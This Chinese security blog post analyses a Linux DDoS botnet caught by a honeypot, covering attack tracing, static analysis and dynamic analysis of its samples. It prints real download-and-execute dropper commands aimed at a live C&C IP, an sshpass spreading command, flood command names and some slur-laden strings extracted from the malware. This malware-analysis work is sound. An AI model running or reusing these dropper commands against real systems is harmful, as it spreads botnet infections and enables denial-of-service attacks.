境外僵尸网络攻击溯源与样本分析
2024-10-7 12:17:22 Author: www.freebuf.com(查看原文) 阅读量:4 收藏

今天晚上一看,已经有18个样本被蜜罐捕获(高交互Telnet蜜罐)了,主要就是这个样本:

屏幕截图 2024-06-08 223219.png

文件HASH如下:
MD5:f42a6178e5da4e16254ecbdec5ca376a
SHA-1:51ad642c254d762e3c775678aa17e28601b57866
SHA-256:a093105ec49c25547511780526165a00e0d8964bd622ed2127982908379f198e

上传至virustotal检测,62报23

Untitled

接下来我们对攻击IP进行溯源分析,威胁情报查询如下:

Untitled

访问该IP(是一个Apache安装成功的测试页):

Untitled

接下来继续着眼于该样本,由于是一个文本文件,我们提取文件内容如下:

#母样本内容如下:
cd /tmp; wget <http://178.215.236.209/M>; chmod 777 M; ./M; rm -rf M
cd /tmp; wget <http://178.215.236.209/MS>; chmod 777 MS; ./MS; rm -rf MS
cd /tmp; wget <http://178.215.236.209/SH>; chmod 777 SH; ./SH; rm -rf SH
cd /tmp; wget <http://178.215.236.209/x86>; chmod 777 x86; ./x86; rm -rf x86
cd /tmp; wget <http://178.215.236.209/A6>; chmod 777 A6; ./A6; rm -rf A6
cd /tmp; wget <http://178.215.236.209/I6>; chmod 777 I6; ./I6; rm -rf I6
cd /tmp; wget <http://178.215.236.209/PPC>; chmod 777 PPC; ./PPC; rm -rf PPC
cd /tmp; wget <http://178.215.236.209/I5>; chmod 777 I5; ./I5; rm -rf I5
cd /tmp; wget <http://178.215.236.209/M68>; chmod 777 M68; ./M68; rm -rf M68
cd /tmp; wget <http://178.215.236.209/A5>; chmod 777 A5; ./A5; rm -rf A5
cd /tmp; wget <http://178.215.236.209/PPC-440>; chmod 777 PPC-440; ./PPC-440; rm -rf PPC-440
cd /tmp; wget <http://178.215.236.209/A4-TL>; chmod 777 A4-TL; ./A4-TL; rm -rf A4-TL
cd /tmp; wget <http://178.215.236.209/I4>; chmod 777 I4; ./I4; rm -rf I4
cd /tmp; wget <http://178.215.236.209/M64>; chmod 777 M64; ./M64; rm -rf M64

不难看出,该样本只是一个下载器,用于下载178.215.236.209下的一些文件到/tmp目录,并通过chmod 777命令修改文件可执行权限,并运行下载的这些样本./文件,并且在子样本运行结束后删除样本,清理痕迹。

接下来我们对该IP进行威胁情报查询,结果如下:

Untitled

发现该IP一直存在通过恶意软件进行攻击的行为。并获取到了其攻击payload:

178.215.236.209的攻击Payload信息: 渗透攻击行为:传播恶意木马 攻击Payload信息详情:["["sh","cd /tmp || wget <http://178.215.236.209/zatoempire.sh>; curl -O <http://178.215.236.209/zatoempire.sh>; chmod 777 zatoempire.sh; sh zatoempire.sh; rm -rf *.sh"]"]

不难看出,其大概率通过此payload将样本上传至蜜罐的。去蜜罐验证一下,找到该IP的攻击记录:

Untitled

该IP的请求包如下:

New connection: 188.166.242.49:41462 (172.30.51.1:23) [session: a8c9cd97e13a]
login attempt [root/root] succeeded
sh
cd /tmp; wget <http://178.215.236.209/bins.sh> || 
curl -O <http://178.215.236.209/bins.sh> && chmod 777 bins.sh && ./bins.sh; rm -rf *
Connection lost after 17 seconds

手法基本相似,样本文件名被修改了,威胁情报的http://178.215.236.209/zatoempire.sh现已无法访问。

到目前我们可以得到该攻击的基本信息如下:

  • 攻击IP : 188.166.242.49

  • 攻击Payload :cd /tmp; wget <http://178.215.236.209/bins.sh> || curl -O <http://178.215.236.209/bins.sh> && chmod 777 bins.sh && ./bins.sh; rm -rf *

  • 样本文件名 :bins.sh

  • 样本HASH: f42a6178e5da4e16254ecbdec5ca376a(MD5)

  • 样本源IP :178.215.236.209

  • 样本类型 : shell文件

  • 样本威胁类型 :下载器

接下来我们需要对这些子样本进行分析,修改母样本,使其将所有子样本下载到虚拟机,但不运行,这里我们使用Ubuntu 14虚拟机进行分析,先下载子样本,脚本如下:

wget <http://178.215.236.209/M>
wget <http://178.215.236.209/MS>
wget <http://178.215.236.209/SH>
wget <http://178.215.236.209/x86>
wget <http://178.215.236.209/A6>
wget <http://178.215.236.209/I6>
wget <http://178.215.236.209/PPC>
wget <http://178.215.236.209/I5>
wget <http://178.215.236.209/M68>
wget <http://178.215.236.209/A5>
wget <http://178.215.236.209/PPC-440>
wget <http://178.215.236.209/A4-TL>
wget <http://178.215.236.209/I4>
wget <http://178.215.236.209/M64>

运行,得到如下样本:

Untitled

我们先计算他们的MD5,防止为同一样本重复分析,结果如下:

14aaf85927e45d55a659b2fbcdaa25ee  ./SH
4a1ce3d39485183d9774184f2c45597f  ./A6
b26f2bf0d3ea22871eafd9389d3fcbfe  ./A5
e48a1c33bdf89c8f6d3f5ab2f0b7f966  ./MS
607de5ff2efe197870820df3d0b35da5  ./PPC
27eb53d8f4be08df86e22fa968058c2f  ./I5
d1e0689d859c56f51948ad3260867f67  ./M68
1217dc6c3803a139b17c625b571aa83f  ./I6
f11eb803b87acb02ba64c4d028e29f96  ./M
3b6b23f77f9d1975499fb63421ba3cf8  ./x86

接下来,我们看看A5样本:

<1> 静态分析 A5样本

先通过strings命令提取样本二进制数据中可打印的字符串:

strings ./A5 >> A5-strings.txt

得到了非常多的内容(8643条):

Untitled

筛选有用的信息如下:

root
Hax0r@1337
ssh_server_ip
/root/
sshpass -p '%s' ssh -o StrictHostKeyChecking=no %s@%s '%scd; python udp.py %s %s %s'


dayzddos.co runs you if you read this lol then you tcp dumped it because it hit you and you need to patch it lololololol

%s %s HTTP/1.1
Host: %s
User-Agent: %s
Connection: close
%s /cdn-cgi/l/chk\_captcha HTTP/1.1

Self Rep Fucking NeTiS and Thisity 0n Ur FuCkInG FoReHeAd We BiG L33T HaxErS

jay is a faggot
add illuminate#0038 for gay sex
Scarface1337Self Rep Fucking NeTiS and Thisity 0n Ur FuCkInG FoReHeAd We BiG L33T HaxErS

Failed opening raw socket.

Failed setting raw headers mode.

DOMINATE Flooding %s for %d seconds.
...

同时我们发现其中有大量user-agent信息,并且存在DOMINATE Flooding %s for %d seconds.字符串,判断其可能用于DDOS攻击,结合分析,判断其可能是一个蠕虫程序,通过爆破ssh进行传染:sshpass -p '%s' ssh -o StrictHostKeyChecking=no %s@%s '%scd; python udp.py %s %s %s',爆破成功后上传样本用于DDOS攻击,这里运行了一个名为udp.py的python脚本,具体内容还不清。在并且内部出现了大量关于网络通信的字符串,可以判定其主要行为为网络通信。

让火绒查杀一下:

Untitled

报的Trojan/Linux.DDos.h和猜测的基本吻合。

用IDA -PRO分析一下(有点复杂)看到其中一个函数名为processCmd,其中调用了大量atolstrcoll函数进行字符串判断:

UntitledUntitled屏幕截图 2024-06-09 093007.pngUntitledUntitled发现网址 情报判定为白名单,访问是一个新闻网站

发现网址www.manoramaonline.com情报判定为白名单,访问是一个新闻网站

这里应该是字符串都比对完毕了,通过sockprintf打印发送DOS攻击详情,并通过SendDOMINATE进行DOS攻击

这里应该是字符串都比对完毕了,通过sockprintf打印发送DOS攻击详情,并通过SendDOMINATE进行DOS攻击

这里面的调用的两个函数比较有意思,第一个是sockprintf,一个是SendDOMINATE

1)先看sockprintf,函数比较简单,看看调用流程:

malloc
memset
print
strlen
strlen
send
free

不难看出,它将拼接好的DOMINATE Flooding %s for %d seconds.字符串输出并通过send函数发送出去了

SendDOMINATE函数中调用了一个名为getRandomIP的函数,貌似是随机生成IP并制作一份IP报文发送

2)接下来看看SendDOMINATE函数:

Untitled

静态分析就先分析到这里吧,下面是可能用到的一些控制命令:

TCP
UDP
VSE
HTTP-KO
CF-KILL
NULL-CF
STD
HTTPS-KTN
OVH-STORM
NFO-COM
HYDRA-KILL
HIPER-OVH
KILLALLV3
HOME-DOWN
UDPRAW
NFO-KTN
RANDHEX
XTDV2
DOMINATE
OVH-PACKET
DNS
HOLD
R6-DROP
R6-LAG
GTAV
CSGO
TF2
STOP

<2> 动态分析 A5样本

动态分析时发生问题,格式不匹配,无法运行:

Untitled

上传到云沙箱也没法获取更多的信息了:

Untitled

Untitled

该样本也就只能止步于此了,遇到的问题还得求教各位大佬


【溯源分析后续】通过大家的提醒,发现样本里面有一个X86样本 ,看了一下确实可以跑了,接着分析吧:

看到X86样本,还是先静态分析一下:

< 1 > 静态分析x86样本

样本基础信息:

样本名:x86

样本类型:ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped

样本大小:238.13 KB

样本HASH:

SHA256 : e01d68f3fc62a053ba83ae869c0a414118e8af394cc443db8f38e1bbcf0314ee

MD5 : 3b6b23f77f9d1975499fb63421ba3cf8

SHA1 : 8764b5fd94036e817d28cf057ab404e7e37b07e5

VirusTotal检出信息:

1.png

开IDA PRO分析一下:

main函数开始:

函数内

main函数内

main函数开头先通过初始化了一下随机数种子,通过进程getpid函数获取当前进程PID,PID参与随机数种子计算可以确保创建的每个进程的随机数种子不同。

函数内

main函数内

接着调用了一个名为getOurIP函数,获取宿主机IP地址信息:

函数内

getOurIP函数内

getOurIP函数中,首先创建了一个UDP套接字,并且尝试连接到DNS服务器8.8.8.853端口(该端口用于域名解析),同时获取到本地socket信息:

函数内

getOurIP函数内

接下来将宿主的主机IP地址信息保存到了ourIP变量,同时读取了目录“/proc/net/route”的系统路由表,并在结果中查找是否为默认路由信息,Linux路由表结构如下:

Iface   Destination     Gateway         Flags   RefCnt  Use Iface MTU Window  IRTT
eth0    00000000        010010A1        0003    0       0   eth0
eth0    192.168.1.0     00000000        0001    0       0   eth0

该样本在getOurIP函数内通过逐行读取系统路由表文件,并在读取到的路由数据中查找第一个包含\t00000000\t字串的路由信息,即查找默认路由(网关)信息

函数内

getOurIP函数内

接下来通过调用系统函数ioctl函数设置socket,这里可能识别错了35111不是一个有效的参数,看了一眼ioctl确实存在操作路由表的功能:

int ioctl(int fd, unsigned long request, ...);

request:

SIOCADDRT -> 添加路由:传递路由信息(通常为目标网络、子网掩码、网关地址等),在内核的路由表中添加一条路由记录。
SIOCDELRT -> 删除路由:传递要删除的路由的详细信息(通常为目标网络和子网掩码),从路由表中删除一条路由记录。

SIOCGIFADDR 和 SIOCSIFADDR:用于获取和设置网络接口的地址。
SIOCGIFNETMASK 和 SIOCSIFNETMASK:用于获取和设置网络接口的子网掩码。
SIOCGIFBRDADDR 和 SIOCSIFBRDADDR:用于获取和设置网络接口的广播地址。

SIOCGIFHWADDR 获取网络接口获取硬件地址

猜测一下,这里可能是添加删除路由信息,当然很有可能是在这里获取到了系统MAC地址,并且在下面出现了一个关于macAddress的变量,很明显也是读取到了MAC地址,但是具体怎么读取的,伪代码内没有体现包括v3变量也没有直接的伪代码显示写入数据,我也不太清楚这是个啥东西,但是肯定是跟MAC地址有关了,暂且认为他是通过socket获取IP同时通过ioctl也获取了宿主机的MAC地址

至此getOurIP函数就分析完了


接着看回main函数:

函数内

main函数内

在获取完宿主机的网络信息后,调用fork函数拆案件了子进程,并通过setsid创建了一个守护进程,使其可以马上脱离父进程和终端控制返回

函数内

main函数内

接下来调用chdir切换目录,并且通过signal注册一下信号,防止在网络连接断开后进程成为僵尸进程,

不过这个chdir是看不懂了,这个changePath的内容也不是一个有效地址,貌似是加密了(不过给Path加密确实看不懂,求教各位)

9.png

接着看吧,main函数在这里就进入了程序的主循环:

函数主循环内

main函数主循环内

这里通过一个while函数每隔5秒调用一次initConnection函数,直到成功连接到远端服务器

函数内

initConnection函数内

initConnection函数内初始化了mainCommSock,并尝试连接到178.215.236.209:1625,查询该IP威胁情报,就有了开篇的情报,开篇的是微步的情报,再查查奇安信的情报看看:

12.png

标签也是被打满了 ,很明显这是一个僵尸网络的节点服务器,不过下面这个情报就挺离谱了:

13.png

家庭宽带?感觉应该是情报问题

接着逆向先吧:

函数主循环内

main函数主循环内

先看看getArch()函数:

// getArch() 函数

const char *getArch()
{
  return "x86_64";
}

这个函数就直接返回"x86_64",不同平台的样本直接返回对应平台信息,已经写死在函数内了

在看看getPortz()函数:

//getPortz()函数

const char *getPortz()
{
  if ( access("/usr/bin/python", F_OK) != -1 )
    return "22";
  if ( access("/usr/bin/python3", F_OK) != -1 )
    return "22";
  if ( access("/usr/bin/perl", F_OK) != -1 )
    return "22";
  if ( access("/usr/sbin/telnetd", F_OK) == -1 )
    return "Unknown Port";
  return "22";
}

这里判断了几个路径的不存在或存在:

当存在"/usr/bin/python""/usr/bin/python3""/usr/bin/perl"中的一个路径时存在时返回"22",当前面三者都没有,而"/usr/sbin/telnetd"不存在时返回"Unknown Port",默认返回"22",这个函数的逻辑比较奇怪,判断是否存在python环境和perl环境来返回固定端口字符串"22",当上述环境均不存在的同时telnetd存在时返回一个固定字符串"Unknown Port",貌似是在判断宿主机的环境信息,但是这和返回22端口(ssh服务端口)之间有什么联系不是很清晰

接着转回到main函数:

函数主循环内

main函数主循环内

在得到了运行平台架构和端口后,将之前获取到的宿主机IP一起打包为字符串发送到远端服务器178.215.236.209:1625

函数接受数据循环内

main函数接受数据循环内

接下来从远端服务器接受回传的定长字符串(4096字节),下面出现的for循环由于能力有限确实没看太懂,暂时先跳过,看后面的吧:

//续

      recvText[recvLen] = 0;                    // 添加字符串结尾标记
      trim(recvText);                           // 格式化回传字符串
      temp_recv = recvText;

      // 处理接收到的字符串,分成子串
      if ( recvText[0] == '!' )                 // 判断接收到的数据开头是否为'!'
      {
        for ( k = temp_recv + 1; *k != ' ' && *k; ++k )
          ;
        if ( *k )
        {
          *k = 0;
          k = temp_recv + 1;
          for ( temp_recv += strlen(temp_recv + 1) + 2;
                temp_recv[strlen(temp_recv) - 1] == 10 || temp_recv[strlen(temp_recv) - 1] == 13;
                temp_recv[strlen(temp_recv) - 1] = 0 )
          {
            ;
          }
          temp2_recv = temp_recv;
          while ( *temp_recv != ' ' && *temp_recv )
            ++temp_recv;
          *temp_recv++ = 0;
          for ( l = temp2_recv; *l; ++l )
            *l = toupper(*l);
          wordCount = 1;
          token = strtok(temp_recv);
          *wordArray = temp2_recv;
          while ( token )
          {
            if ( *token != 10 )
            {
              v11 = wordCount;
              *&wordArray[8 * v11] = malloc(strlen(token) + 1);
              memset(*&wordArray[8 * wordCount], 0, strlen(token) + 1);
              strcpy(*&wordArray[8 * wordCount++], token);
            }
            token = strtok(NULL);
          }

接着就是一大串的字符串格式化处理,处理远端服务器回传的数据,主要是判断开头是否为'!',并且将回传的字符串切割为字串。

这里分串后得到的字符串推测可能是C&C主机发来的控制指令,包括发动DOS攻击等IRC命令,指令分串可能是为了一次接收一组控制指令进行执行,具体信息可以在动态分析时留意观察。

main函数末尾:

函数接受数据循环内

main函数接受数据循环内

最后的for循环就很简单把分串的内存释放掉,为接收下一条回传数据做准备。而重头戏在这个processCmd()函数内,该函数主要处理接收到C&C僵尸网络控制主机命令后的解析和功能实现。

稍作休整,先整理一下思路,分析到这里我们基本上就可以确定以下信息:

攻击手法大致为爆破服务器并上传下载器脚本下载蠕虫程序感染互联网主机并连接至僵尸网络节点(C&C),并且下载器可以下载多平台架构样本,对各平台架构的设备都具有威胁,并且目前清晰的是可以通过僵尸网络控制肉鸡发动对指定目标的DDOS攻击

接下来分析processCmd()函数:

函数内关于解析执行开头命令

processCmd()函数内关于解析执行"TCP"开头命令

开头先检查分好的字串是否为"TCP",并且对"TCP"控制命令所需参数个数进行了检测,防止因参数个数错误导致的程序崩溃,分析代码得知TCP控制命令的基础参数有5个,扩展参数可能有3个

并且紧跟着控制命令"TCP"后面的参数s1和第5个参数s5被当作字符串处理,其他参数均通过atoi标准函数转为整数,猜测其可能接收了IP地址和端口号等信息,后面的listFork()函数用于创建新的进程,推测其用来执行对应功能。

函数内关于解析执行开头命令

processCmd()函数内关于解析执行"TCP"开头命令

首先162行对于第一个参数,检测其是否含有','如果包含,则对每一个由','分隔的字串执行ftcp()函数,如果没有分隔,则执行一次ftcp()函数,具体实现,看看ftcp()函数:

函数内

ftcp()函数内

这里面调用了getHost()函数,用于转换IP地址,由此推断a1参数应该为IP地址,并且创建了socket为后面的操作做准备

函数内

ftcp()函数内

这里调用了两个功能函数getRandomIP()makeIPPacket(),顾名思义,就是给出一个随机的IP地址并且制作IP数据包,猜测其设置了发送方的IP为随机地址,制作好后貌似对IP数据包的TCP标志进行了设置:

函数内

ftcp()函数内

函数内

ftcp()函数内

接着就是循环发送数据包到指定地址了:

函数内

ftcp()函数内

至此ftcp()函数就分析完成了,这个函数的功能很可能是进一步解析有关TCP攻击命令参数并发动DOS攻击的功能函数。

接下来把思路拉回到processCmd()函数,后面就和上面有关TCP攻击的IRC命令解析和执行对应功能流程大差不差了,直接贴出processCmd()函数内所有解析的IRC攻击标志和对应功能函数:

"TCP" -> ftcp()
"UDP" -> SendUDP()
"VSE" -> vseattack()
"HTTP-KO" -> SendHTTPHex()
"CF-KILL" -> SendCloudflare()
"NULL-CF" -> SendHTTPCloudflare()
"STD" -> SendSTDHEX()
"HTTPS-KTN" -> httpattack()
"OVH-STORM" -> SendOVH_STORM()
"NFO-COM" -> SendOVH_STORM()
"HYDRA-KILL" -> SendOVH_STORM()
"HIPER-OVH" -> SendHOME1()
"KILLALLV3" -> sendKILLALL()
"HOME-DOWN" -> SendHOME1()
"UDPRAW" -> UDPRAW()
"NFO-KTN" -> sendnfo()
"RANDHEX" -> Randhex()
"XTDV2" -> xtdcustom()
"DOMINATE" -> SendDOMINATE()   //sockprintf(mainCommSock, "DOMINATE Flooding %s for %d seconds.", v97, v99, v34);
"OVH-PACKET" -> sendPkt()
????(444C4F4800534E44h) -> DNSw()
"R6-DROP" -> UDPRAW()
"R6-LAG" -> vseattack() and UDPRAW()
"GTAV" -> audp()

"CSGO"/"TF2"/"STOP" 三个IRC命令 开始攻击、停止攻击等

这里面对应的功能函数和IRC命令太多了,实在分析不过来,就看看一点有意思的点吧:

想到之前看到的ssh登录命令,找到对应函数senditbudAMP()

函数内

senditbudAMP()函数内

参数都写死了,应该是一个shell注入攻击,但是在IDA里查了一下,没有交叉调用,不知道哪里用到的这个函数。

下面是泛洪攻击用到的垃圾数据:

26.png

想到之前在查看字符串时发现了一个有意思的字符串:"TSource Engine Query + /x54/x53/x6f/x75/x72/x63/x65/x20/x45/x6e/x67/x69/x6e/x65/x20/x51/x75/x65/x72/x79 rfdknjms”,我查了一下,这是一个GitHub上的开源项目叫VSEAttack

27.png

是一个C语言开发的DOS攻击引擎,并且也可以找到相应情报:

28.png

好了,静态分析到这里就差不多结束了,整理一下思路,给出一个分析总结:

该样本首先通过创建进程并使用`setsid`脱离控制台,随后将宿主机环境信息发送至C&C服务器,接下来等待接收C&C服务器发送的IRC(也可能是其他类型,暂且认为是僵尸网络的经典IRC)攻击命令,并对攻击命令进行解析,通过调用对应的功能函数发动对目标系统的攻击,并回传本次攻击的统计数据

<2> 动态分析x86样本

在虚拟机上跑一下,跟踪一下系统函数调用,log如下:

execve("./x86", ["./x86"], [/* 18 vars */]) = 0
ioctl(0, SNDCTL_TMR_TIMEBASE or SNDRV_TIMER_IOCTL_NEXT_DEVICE or TCGETS, {B38400 opost isig icanon echo ...}) = 0
ioctl(1, SNDCTL_TMR_TIMEBASE or SNDRV_TIMER_IOCTL_NEXT_DEVICE or TCGETS, {B38400 opost isig icanon echo ...}) = 0
getpid()                                = 34750
getrlimit(RLIMIT_STACK, {rlim_cur=8192*1024, rlim_max=RLIM64_INFINITY}) = 0
setrlimit(RLIMIT_STACK, {rlim_cur=2040*1024, rlim_max=RLIM64_INFINITY}) = 0
rt_sigaction(SIGRTMIN, {0x40dd65, [], SA_RESTORER, 0x40f690}, NULL, 8) = 0
rt_sigaction(SIGRT_1, {0x40dce3, [RTMIN], SA_RESTORER, 0x40f690}, NULL, 8) = 0
rt_sigaction(SIGRT_2, {0x40d567, [], SA_RESTORER, 0x40f690}, NULL, 8) = 0
rt_sigprocmask(SIG_BLOCK, [RTMIN], NULL, 8) = 0
rt_sigprocmask(SIG_UNBLOCK, [RT_1], NULL, 8) = 0
brk(0)                                  = 0x1b41000
brk(0x1b42000)                          = 0x1b42000
time(NULL)                              = 1718638175
getpid()                                = 34750
time(NULL)                              = 1718638175
getpid()                                = 34750
socket(PF_INET, SOCK_DGRAM, IPPROTO_IP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("8.8.8.8")}, 16) = 0
getsockname(3, {sa_family=AF_INET, sin_port=htons(55380), sin_addr=inet_addr("192.168.175.142")}, [16]) = 0
open("/proc/net/route", O_RDONLY)       = 4

//此处省略read读取路由表

close(4)                                = 0
ioctl(3, SIOCGIFHWADDR, {ifr_name="eth0", ifr_hwaddr=00:0c:29:ec:0f:a3}) = 0
close(3)                                = 0
fork()                                  = 34751
wait4(34751, [{WIFEXITED(s) && WEXITSTATUS(s) == 0}], 0, NULL) = 34751
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=34751, si_status=0, si_utime=0, si_stime=0} ---
_exit(0)                                = ?
+++ exited with 0 +++

和猜测的基本相符,getsockname()函数获取到了分析机的IP地址"192.168.175.142",看了后面关于路由表的操作后才发现原来先是读取路由表获取默认网关所使用的网卡名,再通过ioctl函数传入网卡名获取对应MAC地址,getOurIP()函数内的MAC地址原来是这么来的。接着就fork()后通过setsid()脱离控制台了,进程在后台运行:

29.png

查看网络流量监控:

30.png

确实存在与目标C&C主机的通讯,用wireshark抓包发现了其与C&C服务器的大量数据往来:

31.png

32.png

网络流量分析还不太懂,后面再慢慢了解吧。


该样本的分析到这里就接近尾声了,能力实在有限,很多地方都一知半解,分析过程中的不足之处还得求教大家了,最后给出分析总结吧:

样本名:x86
样本类型:ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped
样本大小:238.13 KB
样本HASH:
SHA256 :e01d68f3fc62a053ba83ae869c0a414118e8af394cc443db8f38e1bbcf0314ee
MD5 :3b6b23f77f9d1975499fb63421ba3cf8
SHA1 :8764b5fd94036e817d28cf057ab404e7e37b07e5

下载器样本名:bins.sh
受影响平台:Linux x86 arm 等多种平台架构均可感染
上传样本攻击 IP :188.166.242.49(新加坡)
上传样本攻击Payload:cd /tmp; wget http://178.215.236.209/bins.sh || curl -O http://178.215.236.209/bins.sh && chmod 777 bins.sh && ./bins.sh; rm -rf *
C&C服务控制服务器IP :178.215.236.209(美国)

攻击流程图:

33.png

挑了两段字符串作为样本识别特征码:

<1> 0x54 0x53 0x6f 0x75 0x72 0x63 0x65 0x20 0x45 0x6e 0x67 0x69 0x6e 0x65 0x20 0x51 0x75 0x65 0x72 0x79
<2> 0x64 0x61 0x79 0x7a 0x64 0x64 0x6f 0x73 0x2e 0x63 0x6f

作者:林敬勤


文章来源: https://www.freebuf.com/articles/system/403885.html
如有侵权请联系:admin#unsafe.sh